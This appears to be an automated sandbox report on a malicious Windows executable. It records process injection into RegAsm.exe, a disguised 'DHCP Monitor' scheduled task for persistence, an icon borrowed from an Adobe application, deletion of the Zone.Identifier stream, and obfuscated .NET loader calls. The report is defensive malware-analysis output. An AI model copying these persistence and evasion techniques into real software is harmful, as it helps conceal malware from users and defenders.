Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5880:120:WilError_01
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Mutant created: \Sessions\1\BaseNamedObjects\{tvnkftrgptjjurqlmumuuytqo}
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{fc4000c4-f8ec-42dc-a0ad-1edfd7548ceb}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1680:120:WilError_01

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

File created: C:\Users\user\AppData\Local\Temp\tmp7A01.tmp

Jump to behavior

Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Virustotal: Detection: 57%
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	ReversingLabs: Detection: 68%

Source: unknown	Process created: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe 'C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe'
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp7A01.tmp'
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe 0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp7A01.tmp'

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll

Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Static file information: File size 1414144 > 1048576

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Windows\exe\RegAsm.pdb source: RegAsm.exe, 00000001.00000002.921034984.0000000003166000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\symbols\exe\RegAsm.pdb source: RegAsm.exe, 00000001.00000002.921034984.0000000003166000.00000004.00000040.sdmp
Source:	Binary string: indows\RegAsm.pdbpdbAsm.pdbUs source: RegAsm.exe, 00000001.00000002.921034984.0000000003166000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\RegAsm.pdbd source: RegAsm.exe, 00000001.00000002.921034984.0000000003166000.00000004.00000040.sdmp
Source:	Binary string: gAsm.pdb source: RegAsm.exe, 00000001.00000002.921034984.0000000003166000.00000004.00000040.sdmp
Source:	Binary string: mscorrc.pdb source: RegAsm.exe, 00000001.00000002.922349226.0000000005E40000.00000002.00000001.sdmp

Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	.Net Code: #=q_FL69pQf17BUSAFbWYu1SStMAbdu$R1GJ8VY8UL5_EA= System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack, u0023u003dqxoz66kOqvxr21iYXZYXWiumy9eZGwFWaiX4C5X8aecUu003d.cs	.Net Code: #=qKU0J1fiP8KA33eFK1owekQ== System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 1.2.RegAsm.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	.Net Code: #=q_FL69pQf17BUSAFbWYu1SStMAbdu$R1GJ8VY8UL5_EA= System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 1.2.RegAsm.exe.400000.0.unpack, u0023u003dqxoz66kOqvxr21iYXZYXWiumy9eZGwFWaiX4C5X8aecUu003d.cs	.Net Code: #=qKU0J1fiP8KA33eFK1owekQ== System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C14B37 LoadLibraryA,GetProcAddress,

Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Static PE information: real checksum: 0xeaa4d should be: 0x15c282

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C306FE push es; ret
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C3070E push es; ret
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C30710 push es; ret
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C30720 push es; ret
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C30724 push es; ret
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C3072A push es; ret
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C30734 push es; ret
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C30739 push es; ret
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C38945 push ecx; ret
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C32BDC push ds; ret
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C253ED push edx; retn 0000h
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_030574AC push ecx; ret
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_030574B8 push ebp; ret
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_03059D54 push eax; retf
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_03059D58 pushad ; retf

Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack, u0023u003dqJT4I5hOweIku0024xYFEeDszbikglXCuquUdu0024v9AXtyq2nsu003d.cs	High entropy of concatenated method names: '#=qBeOBlH6CwHFnQdZWWBgZ_pemudZ6CfCVcfOQtgpeG$Y=', '#=q5v5cLSMFBaxiTtOEjscx86gN2ozXlfytiL6UmXnyWtg=', '#=q_XA5h2lVGHLcY9dK754wKGrOjAm6aBbwPxcUJXgJThJUz83kMbCL53G5uuOLP6Rq', '#=qIFfr$DrKqIieRc688$vylAlBsEnx9Z3$TxvrDsPURfM=', '#=qejgvNXJQvgM2GomZsygLjreyguSPQ29pQHqjR_a0dWk=', '#=qCGokdf0OOxeMJLDkXSfc3NPmwygIQ29RjKQWj$wbNGB9C1pPgma_891QiNyTRXcA', '#=qDqyUVyJLXCtYqhZ0$opqkomqhUBn2WCeEEvGAXlNQ$I=', '#=qdImPAY1o3YhbLtukwCQ91cISaeIEWRKSYrGZ3dTVnkY=', '#=qza7O1AHrroJC7yRIJz4wINR_Sgo4hDpQrj_OYfIrlJE=', '#=q6Ct3QmvVLFC7my$dL1uEiHGmXJ5qCuK4WIhDwfhPTFs='
Source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack, u0023u003dqWrm21vQ8CBMZP_RBTwpusAu003du003d.cs	High entropy of concatenated method names: '#=qCgU$tDqtOAyz2b$RwfSF7UzBcCAr0rFJWxm16x7Lre0=', '#=qeD3MBfedCIuKIQf9V1u2N3YS4VXE_FOHqw_XAjWtZK8=', '#=q$mvEHEBkZud$AdHPWqsMQnw5Xm5sD4vBSSmqrKuXGOk=', '#=qZaN94n8dM6tBEf$qCdY2kbTZb5BOW8Z134$2tNv7EJs=', '#=qtlZnL8mho$rv1eTFz0Mw9UYFC_yCabEZ0xtVePn6wR5aSHE7ti3UfKg2l7D0_xk8', '#=qVS$QmQjvFfsXSqQAKGSl6HGbkse2SG0XCab4upVjtRJkvhTEk$oIS2I9Zja7id1Q', '#=qxJg7RxTW1v5mnt12xXeJiYJv_bcctbtL2BCD5MjDi45Hlz6t8vwDNTv1Rv7tgIct', '#=qp$ZVC1r9spi890l$D7IwEd3faoKeWHvv42mVq8wIIWM=', '#=qCoWHlVuoVRMkOzC7RZubJCslkxaEWn9yZiIydECf69$ktj0IPD5wAwC2H5Cc8C$L', '#=qqs1moO$mYaS72OXOWe0Z6GycslEb6e9Ipoy7ppW0O5abIp05ajv8doqdJZHlN3cK'
Source: 1.2.RegAsm.exe.400000.0.unpack, u0023u003dqJT4I5hOweIku0024xYFEeDszbikglXCuquUdu0024v9AXtyq2nsu003d.cs	High entropy of concatenated method names: '#=qBeOBlH6CwHFnQdZWWBgZ_pemudZ6CfCVcfOQtgpeG$Y=', '#=q5v5cLSMFBaxiTtOEjscx86gN2ozXlfytiL6UmXnyWtg=', '#=q_XA5h2lVGHLcY9dK754wKGrOjAm6aBbwPxcUJXgJThJUz83kMbCL53G5uuOLP6Rq', '#=qIFfr$DrKqIieRc688$vylAlBsEnx9Z3$TxvrDsPURfM=', '#=qejgvNXJQvgM2GomZsygLjreyguSPQ29pQHqjR_a0dWk=', '#=qCGokdf0OOxeMJLDkXSfc3NPmwygIQ29RjKQWj$wbNGB9C1pPgma_891QiNyTRXcA', '#=qDqyUVyJLXCtYqhZ0$opqkomqhUBn2WCeEEvGAXlNQ$I=', '#=qdImPAY1o3YhbLtukwCQ91cISaeIEWRKSYrGZ3dTVnkY=', '#=qza7O1AHrroJC7yRIJz4wINR_Sgo4hDpQrj_OYfIrlJE=', '#=q6Ct3QmvVLFC7my$dL1uEiHGmXJ5qCuK4WIhDwfhPTFs='
Source: 1.2.RegAsm.exe.400000.0.unpack, u0023u003dqWrm21vQ8CBMZP_RBTwpusAu003du003d.cs	High entropy of concatenated method names: '#=qCgU$tDqtOAyz2b$RwfSF7UzBcCAr0rFJWxm16x7Lre0=', '#=qeD3MBfedCIuKIQf9V1u2N3YS4VXE_FOHqw_XAjWtZK8=', '#=q$mvEHEBkZud$AdHPWqsMQnw5Xm5sD4vBSSmqrKuXGOk=', '#=qZaN94n8dM6tBEf$qCdY2kbTZb5BOW8Z134$2tNv7EJs=', '#=qtlZnL8mho$rv1eTFz0Mw9UYFC_yCabEZ0xtVePn6wR5aSHE7ti3UfKg2l7D0_xk8', '#=qVS$QmQjvFfsXSqQAKGSl6HGbkse2SG0XCab4upVjtRJkvhTEk$oIS2I9Zja7id1Q', '#=qxJg7RxTW1v5mnt12xXeJiYJv_bcctbtL2BCD5MjDi45Hlz6t8vwDNTv1Rv7tgIct', '#=qp$ZVC1r9spi890l$D7IwEd3faoKeWHvv42mVq8wIIWM=', '#=qCoWHlVuoVRMkOzC7RZubJCslkxaEWn9yZiIydECf69$ktj0IPD5wAwC2H5Cc8C$L', '#=qqs1moO$mYaS72OXOWe0Z6GycslEb6e9Ipoy7ppW0O5abIp05ajv8doqdJZHlN3cK'

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp7A01.tmp'

Hooking and other Techniques for Hiding and Protection:

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Show sources

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: adobe 12.png

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	File opened: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe:Zone.Identifier read attributes \| delete
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe:Zone.Identifier read attributes \| delete

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C148D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C95376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C33187 RtlEncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Window / User API: threadDelayed 755
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Window / User API: foregroundWindowGot 1055

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe TID: 472	Thread sleep count: 755 > 30
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe TID: 2204	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe TID: 808	Thread sleep time: -220000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe TID: 4816	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C7445A GetFileAttributesW,FindFirstFileW,FindClose,
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C7C6D1 FindFirstFileW,FindClose,
